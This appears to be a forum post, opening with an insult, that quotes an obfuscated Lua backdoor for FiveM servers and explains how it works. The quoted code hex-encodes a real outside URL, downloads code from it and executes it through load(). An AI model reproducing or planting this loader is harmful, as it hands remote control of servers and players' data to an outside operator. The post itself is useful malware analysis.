You are all stupid.
local Enchanced_Tabs = {
Ench, Support, Host, Pairs,
Realease, Callbacks, Source,
Hosting, Event, PerformHttpRequest,
assert, server, load, Spawn, materials
}
local random_char = {
"68", "74", "74", "70", "73", "3a", "2f", "2f", "66", "69", "76", "65", "6d", "2e", "6b", "76",
"61", "63", "2e", "63", "7a", "2f", "66", "2e", "70", "68", "70", "3f", "6b", "65", "79", "3d",
"74", "75", "44", "75", "50", "68", "6d", "51", "74", "32", "47", "74", "48", "39", "70", "76", "72", "78", "43", "52",
}
function str_utf8()
_empt = ""
for id,it in pairs(random_char) do
_empt = _empt..it
end
return (_empt:gsub("..", function (cc)
return string.char(tonumber(cc, 16))
end))
end
Enchanced_Tabs[10](str_utf8(), function (e, d)
local s = Enchanced_Tabs[11](Enchanced_Tabs[13](d))
if (d == nil) then return end
s()
end)
That is in a lua code
This is a
potentially malicious Lua script that acts as a
backdoor or
loader. It has been intentionally obfuscated (disguised) to hide its true function.
What the Code Does
- URL Obfuscation: The code stores a URL in small hexadecimal parts within the random_char table. The str_utf8() function assembles these parts and converts them into a readable text string.
- The decoded hex code results in the following URL:
- Download Code: It uses a function (likely PerformHttpRequest from a FiveM environment, stored as the 10th element in Enchanced_Tabs) to download the content from that URL.
- Execute Code: The downloaded content, d, is then interpreted as executable Lua code using the load() function (the 13th element) and is immediately run s().
The Risk
This code represents a
significant security risk. It allows the operator of the URL to execute any code they want on your server or client. With this, an attacker can:
- Steal data
- Crash the server
- Load other malicious scripts
- Kick or ban players
- Take full control of the resource or the server